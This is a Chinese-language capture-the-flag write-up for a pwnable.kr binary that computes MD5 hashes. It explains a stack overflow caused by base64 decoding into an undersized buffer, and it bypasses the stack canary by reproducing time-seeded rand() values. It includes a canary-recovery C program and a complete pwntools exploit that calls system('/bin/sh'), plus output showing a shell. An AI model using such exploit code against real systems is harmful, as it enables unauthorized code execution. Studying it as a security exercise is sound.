0x00 md5 caculater

下载下来直接运行,提示缺libcrypto库,但是我却安装过了openssl。于是在lib下看,确实是没有这个库。因为我的环境是ubuntu x86_64装的openssl也是64位的,所以要安装32位的库,使用这个命令:

sudo apt-get install --reinstall libssl1.0.0:i386

安装好后反汇编一下,程序很简单。先生成一个随机数token,输入的值和随机数token相等则再输入一串base64编码后的文本,将这个文本解密后用md5加密打印。

0x01 思路

程序的漏洞比较明显,在process_hash函数这。

int process_hash()
{
int v0; // ST14_4@3
void *ptr; // ST18_4@3
char v3; // [sp+1Ch] [bp-20Ch]@1
int v4; // [sp+21Ch] [bp-Ch]@1
v4 = *MK_FP(__GS__, 20);
memset(&v3, 0, 0x200u);
while ( getchar() != 10 )
;
memset(g_buf, 0, sizeof(g_buf));
fgets(g_buf, 1024, stdin);
memset(&v3, 0, 0x200u);
v0 = Base64Decode(g_buf, &v3);
ptr = (void *)calc_md5(&v3, v0);
printf("MD5(data) : %s\n", ptr);
free(ptr);
return *MK_FP(__GS__, 20) ^ v4;
}

其中g_buf是全局变量1024字节,存放base64编码后的文本。v3是局部变量512字节,存放解码后的文本。

Base64是把3个字节变为4个字节,所以,Base64编码的长度永远是4的倍数

所以1024字节的base64解码后为1024/4*3=768。而程序只分配的512字节,所以会出现缓冲区溢出。

然而,程序开启了stack canary,需要我们绕过。

[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xffffd40c ('a' <repeats 200 times>...)
ECX: 0x0
EDX: 0xf7dcf434 --> 0x804c020 --> 0x3a9
ESI: 0x0
EDI: 0xffffd60c ('a' <repeats 188 times>)
EBP: 0xffffd618 ('a' <repeats 176 times>)
ESP: 0xffffd3f0 --> 0x0
EIP: 0x8049074 (<process_hash+226>: mov eax,DWORD PTR [ebp-0xc])
EFLAGS: 0x200282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8049066 <process_hash+212>: mov eax,DWORD PTR [ebp-0x210]
0x804906c <process_hash+218>: mov DWORD PTR [esp],eax
0x804906f <process_hash+221>: call 0x8048900 <free@plt>
=> 0x8049074 <process_hash+226>: mov eax,DWORD PTR [ebp-0xc]
0x8049077 <process_hash+229>: xor eax,DWORD PTR gs:0x14
0x804907e <process_hash+236>: je 0x8049085 <process_hash+243>
0x8049080 <process_hash+238>: call 0x8048990 <__stack_chk_fail@plt>
0x8049085 <process_hash+243>: add esp,0x220
[------------------------------------stack-------------------------------------]
0000| 0xffffd3f0 --> 0x0
0004| 0xffffd3f4 --> 0x804c028 --> 0x0
0008| 0xffffd3f8 --> 0xf7dcfc20 --> 0xfbad2288
0012| 0xffffd3fc --> 0xf7c71a97 (<_IO_vfscanf+1399>: movzx ecx,BYTE PTR [ebp-0x15c])
0016| 0xffffd400 --> 0xf7dcfc20 --> 0xfbad2288
0020| 0xffffd404 --> 0x2be
0024| 0xffffd408 --> 0x804c028 --> 0x0
0028| 0xffffd40c ('a' <repeats 200 times>...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08049074 in process_hash ()
gdb-peda$ p $ebp-0xc
$1 = (void *) 0xffffd60c
gdb-peda$ shell
------------------------------------------------------------
~/pwn/pwnkr/md5_caculater » python
Python 2.7.6 (default, Oct 26 2016, 20:30:19)
[GCC 4.8.4] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(0xffffd60c-0xffffd40c)
'0x200'
>>>

可见,0x200字节就覆盖了canary。需要绕过这个canary,首先想到了Memory Leak。但是,程序不存在格式化字符串漏洞;又想能否使用BROP,这个程序是用socat启动的,程序挂了后肯定会rerandom,所以还是不行。

int my_hash()
{
int result; // eax@4
int v1; // edx@4
signed int i; // [sp+0h] [bp-38h]@1
char v3[32]; // [sp+Ch] [bp-2Ch]@2
int v4; // [sp+10h] [bp-28h]@4
int v5; // [sp+14h] [bp-24h]@4
int v6; // [sp+18h] [bp-20h]@4
int v7; // [sp+1Ch] [bp-1Ch]@4
int v8; // [sp+20h] [bp-18h]@4
int v9; // [sp+24h] [bp-14h]@4
int v10; // [sp+28h] [bp-10h]@4
int v11; // [sp+2Ch] [bp-Ch]@1
v11 = *MK_FP(__GS__, 20);
for ( i = 0; i <= 7; ++i )
*(_DWORD *)&v3[4 * i] = rand();
result = v7 - v9 + v10 + v11 + v5 - v6 + v4 + v8;
v1 = *MK_FP(__GS__, 20) ^ v11;
return result;
}

看到了这个函数,其中v11为cancary,只要我们知道随机数,就可以逆推出canary的值。我们找到了随机数的种子为time(0)就是当前系统的时间戳。

这样就好办了,写一个程序来根据token算canary。因为目标程序是用socat启动的,所以当有程序连上目标端口就会启动这个程序,我们得到token后传入我们写的程序。这时候时间戳应该是一样的,根据这个token就可以算出canary。

#include<stdio.h>
int main(int argc, char * argv[])
{
int n[8], i;
int token = atoi(argv[1]);
int cookie;
srand(time(0));
for(i=0;i<8;i++)
{
n[i]=rand();
}
// v[4]-v[6]+v[7]+cookie+v[2]-v[3]+v[1]+[5]=token
cookie = token-n[5]-n[1]+n[3]-n[2]-n[7]+n[6]-n[4];
printf("%x\n",cookie);
return 0;
}

因为system有了,所以我们需要一个/bin/sh的地址来完成函数调用,这个也比较好解决。因为有一个全局变量,我们把/bin/sh放到全局变量里即可,所以exploit如下:

from pwn import *
import os
from base64 import b64encode
#io = process("./hash")
io = remote("127.0.0.1", 10001)
io.recvuntil("Are you human? input captcha : ")
token = io.recv()
io.send(token)
cookie = os.popen("./x "+token).read()
cookie = int(cookie, 16)
log.success("Canary => [{}]".format(hex(cookie)))
payload = "A" * 0x200 + p32(cookie) + "B" * 12 + p64(0x8048880) + p64(0x804b3c0) + "/bin/sh\x00"
payload = b64encode(payload) + "/bin/sh\x00"
raw_input()
io.sendline(payload)
io.interactive()

结果如下:

tiny_easy@ubuntu:/tmp$ python xxx.py
[+] Opening connection to 127.0.0.1 on port 9002: Done
[+] Canary => [0xf5905a00]
[*] Switching to interactive mode
Welcome! you are authenticated.
Encode your data with BASE64 then paste me!
MD5(data) : a703c1b84424ff5c8e2f6c5569f3151a
$ ls
flag
log
log2
md5calculator
super.pl
$ cat flag
Canary, Stack guard, Stack protector.. what is the correct expression?

0x02 Refer

http://www.liaoxuefeng.com/wiki/001374738125095c955c1e6d8bb493182103fac9270762a000/001399413803339f4bbda5c01fc479cbea98b1387390748000